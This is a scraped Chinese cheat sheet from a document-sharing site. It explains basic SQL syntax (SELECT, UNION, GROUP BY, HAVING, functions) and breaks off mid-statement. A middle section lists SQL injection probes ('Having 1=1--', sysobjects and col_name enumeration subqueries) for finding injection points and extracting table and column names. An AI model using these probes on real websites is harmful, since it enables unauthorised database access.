- 1、本文档共4页,可阅读全部内容。
- 2、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
- 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
查看更多
Select:选取(查询列名)
From: 子句指定了 select 语句中字段的来源 (表段)
Where:查询条件(那个字段 通常用于缩小搜索范围 子句用于规定选择的标准。)WHERE 关键
字无法与合计函数一起使用。
Like:在 where 下使用 意思是字段中包含 n%:N 开头 %N :结尾 %N% :包含 N
NOT LIKE:不包含搜索项
ORDER BY 字段 升(默认)ASC/降 DESC (语句用于根据指定的列对结果集进行排序。)
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。(相同的只显示一个)
语法 select 字段 from 表段 […….] union select 字段 from 表段 […….]
UNION ALL 操作符用于合并两个或多个 SELECT 语句的结果集。(命令会列出所有的值)
函数
GROUP BY 语句用于结合合计函数,根据一个或多个列对结果集进行分组。
常常和 SUM() “相加函数”使用分组相加
例如:select 字段 1,SUM(字段 2) from 表段 GREUP BY 字段 1 “意思是把字段 1 分组 然后把字段 1
分好的各组的字段 2 的值相加”
HAVING 子句 必须和 GROUP BY 语句一起使用 用于出 GROUP BY 结合后的值的内容 通常用于
小结合后搜索范围
例如:select 字段 1,SUM(字段 2) from 表段 GREUP BY 字段 1 HAVING SUM(字
段 2)<>X “筛选出结合后字段 2 的值”
Having 1=1—爆注入点
Group by 字段名 Having 1=1— 爆字段
爆字段 (select top 1 字段 from 表段 where ID=N)>1
爆多表语句(select top 1 name from (select top [n 第 N 个表] id, name from
sysobjects where xtype=char(85)) T order by id desc)>1
爆多字段名 (select top 1 col_name(object_id([表名]),[第 N 个字段名])
from sysobjects)>1
LEN()函数返回文本字段中值的长度。
SUM() 函数返回数值列的总数(总额)。如 select sum(字段) from 表段 “在标段中字段的重和”
MID( 列名 ,n,N) 函数用于从文本字段中提取字符
Access:asc (字符) SQLServer:unicode(字) 作用:返回某字符的 ASCII 码
COUNT(列名) 函数返回指定列的值的数目
Exist (任何东东)是否存在 存在为真 否则为假
Exist(select * from 表名) “查询是否存在这个表“
Exist(select 列名 from 正确的表名) “查询是否存在这个列 “
(Select count(列名) form 正确的表名)>=1 “判断表段里的列段数是否>=1 查询是否存在这个
列”
(select top n len(列名) from 表名)>x
数字型原型:select * from 表名 where 字段=50 (一个有注入点页面内部SQL 代码)
字符型原型:select * from 表名 where 字段=’字符’
搜索型原型:select * from 表名 where 字段 like ‘%关键字%’
限制返回行:select top n [PERCENE]……… (N 代表返回行数 如果加 PERCENE 代表% 比)
(1)数据记录筛选语句
sql="select * from 数据表 where 字段名=字段值 order by 字段名 [desc]"
sql="select * from 数据表 where 字段名 like ‘%字段值%’ order by 字段名 [desc]"
sql="select top 10 * from 数据表 where 字段名 order by 字段名 [desc]"
sql="select * from 数据表 where 字段名 in (‘值 1’,’值 2’,’值 3’)”
sql="select * from 数据表 wher
您可能关注的文档
- 网易招聘互联网编辑面试笔试题(附网友答案).pdf
- 网易视频云:流媒体服务器原理和架构解析.pdf
- 网易手机邮用户手册android_user_guide_0.4.1_.pdf
- 网易专访兆龙移民董事长刘宇:做投资移民要有大视角.pdf
- 网易新闻客户端-高校校刊入驻协议书.pdf
- 网银使用情况调查数据统计.pdf
- 网银业务论文.pdf
- 网营部文案写作培训资料.pdf
- 网游活动策划案.pdf
- 网友答案~~秘书四级考试实操视频a.pdf
- 2023年空调过滤网行业市场突围建议及需求分析报告.docx
- 2023年镍铬行业分析报告及未来五至十年行业发展报告.docx
- 2023年物联网市场行业市场突围建议及需求分析报告.docx
- 2023年橡胶加工专用设备行业分析报告及未来五至十年行业发展报告.docx
- 2023年表面涂镀材料行业洞察报告及未来五至十年预测分析报告.docx
- 2023年洗车工具行业洞察报告及未来五至十年预测分析报告.docx
- 2023年扶助金融行业洞察报告及未来五至十年预测分析报告.docx
- 2023年木器漆行业洞察报告及未来五至十年预测分析报告.docx
- 2023年粉末冶金摩擦材料行业市场突围建议及需求分析报告.docx
- 2023年男科医院行业分析报告及未来五至十年行业发展报告.docx
文档评论(0)